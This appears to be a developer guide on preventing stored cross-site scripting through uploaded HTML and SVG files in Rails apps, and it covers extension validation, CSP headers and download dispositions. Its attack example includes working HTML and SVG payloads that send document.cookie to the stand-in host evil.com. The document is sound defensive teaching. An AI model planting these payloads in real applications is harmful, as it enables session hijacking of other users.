When you allow file uploads in your app, a user might upload content that hurts other users.
Our primary concern here is users uploading .html
or .svg
files that can run JavaScript and possibly hijack another user's session.
A secondary concern is that malicious users can upload executables (like an .exe
or .scr
file) and use your server to distribute it. However, modern operating systems usually warn before executing files that were downloaded from the internet.
Attack example: Hijacking sessions with uploaded HTML or SVG files
You run an app myapp.com
. The attacker runs an app evil.com
.
The attacker uploads a HTML file to your app:
https://myapp.com/uploads/437fa68743bac124/file.html
The file has a content like this:
<html>
<body>
<script>
img = document.createElement('img')
img.src = 'https://evil.com/capture?cookie=' + encodeURIComponent(document.cookie)
document.body.appendChild(img)
</script>
</body>
</html>
The attacker now gets another user of myapp.com
to access the URL with the upload above. The victim accesses the URL, since it comes from a trusted hostname. The attack now succeeds:
- The HTML opens in another tab on the victims' browser.
- The victim's browser runs the
<script>
element in the HTML. - The victim's cookies are sent to
evil.com
. - The attacker can use the captured cookies to hijack the victim's session on
myapp.com
.
You can do the same with an SVG file:
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
image = document.createElement('image')
image.src = 'https://evil.com/capture?cookie=' + encodeURIComponent(document.cookie)
document.documentElement.appendChild(image)
]]>
</script>
</svg>
Mitigation: Validating file extensions
A good mitigation against the upload of malicious content is to validate the extension of uploaded files. Below you can find instructions for validating extensions in some popular uploader libraries.
Checking existing data
If you're working on an existing app, check existing data for the extensions you need to support. You don't want to make existing records invalid.
You can usually review existing upload filenames using a single SQL query. In CarrierWave and Paperclip the filenames of all uploads will usually sit in a column like this:
SELECT avatar FROM users;
Validating in CarrierWave 2.2 or newer
If your uploaders all inherit from a common base class, you can use it to exclude some known dangerous file extensions across all uploaders:
class ApplicationUploader < CarrierWave::Uploader::Base
def extension_denylist
# Matching is case insensitive
%w[html htm xhtml svg exe vbs com msi scr]
end
end
This may be a quick fix for an existing app. It also ensures that future uploaders get safe-ish defaults when the developer forgets to define an allowlist for concrete uploaders (see below).
Now go through your concrete uploader classes and only allow a known list of file extensions:
class AvatarUploader < ApplicationUploader
...
def extension_allowlist
# Matching is case insensitive
%w[png]
end
end
Validating in CarrierWave 2.2.0 or older
You can use the instructions above, but some methods have been renamed:
CarrierWave 2.2+ | CarrierWave 2.1- | CarrierWave < 0.11 |
---|---|---|
extension_allowlist |
extension_whitelist |
extension_white_list |
extension_denylist |
extension_blacklist |
- |
Validating in Paperclip
In Paperclip you can use the validates_attachment_file_name
macro to test the suffix of a filename:
class User < ActiveRecord::Base
has_attached_file :avatar
validates_attachment_file_name :avatar, matches: [/\.png\z/i]
end
Validate file extensions, not content type
Your validation should not rely on the content type (mime type) of the upload request.
This can
Show archive.org snapshot
be spoofed
Show archive.org snapshot
. When the user later accesses a file upload via an URL, the server will choose a Content-Type
header based on the file's extension, regardless of what you have validated before.
Some upload libraries that allow validation of content types address this issue by ignoring the Content-Type
in the request header. Instead the content type is derived from the file extension on the server. You will need to check the code of your upload library to be sure. For example, Paperclip only fixed this in version 4.0+.
Mitigation: Send an empty CSP
If you cannot practically validate file extensions, consider configuring your server to send a different CSP Show archive.org snapshot header for the folder that hosts user uploads. That CSP should forbid inline scripts and other external resources:
Content-Security-Policy: default-src 'none'
If you want to allow external resources on your own site, but not allow scripts, you can also go with this more relaxed CSP:
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none'
While this does not fix users uploading executables etc., this does prevent the attack example with simple HTML files or SVG images.
Important
The CSP rules must be configured in the web server that delivers both your app and your static files. Any rules you have configured in your app code might not be sent, as the user upload is probably a static file (in
public/uploads
or similiar) and is not rendered by your app.
Empty CSPs with send_file
If you use
send_file
Show archive.org snapshot
from a Rails controller, you can send potentially dangerous files with an inline
disposition iff you also send a strict CSP rule:
response['Content-Security-Policy'] = "default-src 'none'"
send_file svg_attachment.path, disposition: :inline
Mitigation: Deliver attachments with an attachment disposition
If you cannot practically validate file extensions, consider configuring your server to send a files in your upload folder as attachment. This will cause the browser to download files (and not show them in a tab, which would execute active content):
Content-Disposition: attachment
If you use
send_file
Show archive.org snapshot
from a Rails controller, the default disposition is attachment
. You can also set it explicitly:
send_file @attachment.path, disposition: :attachment
Mitigation: Restrict auto-detection of mime types
If you cannot practically validate file extensions, consider restricting the auto-detection of mime types in the web server that delivers static files.
- If file extension is a popular image or document format: Auto-detect mime type from extension
- Else send
application/octet-stream
(to trigger a download and not show the resource in a browser tab).
Note that if you send files from a rails controller you must set the content type explicitly:
send_file @attachment.path, type: 'application/octet-stream'
On makandra servers
You don't have to configure a general denylist on makandra servers, as our loadbalancer will only accept a allowlist of MIME types.
Alternative: Deliver attachments on a different domain
When you deliver attachments using a different hostname, they will not share cookies with your app.
Remember to block attachment paths on your original app domains.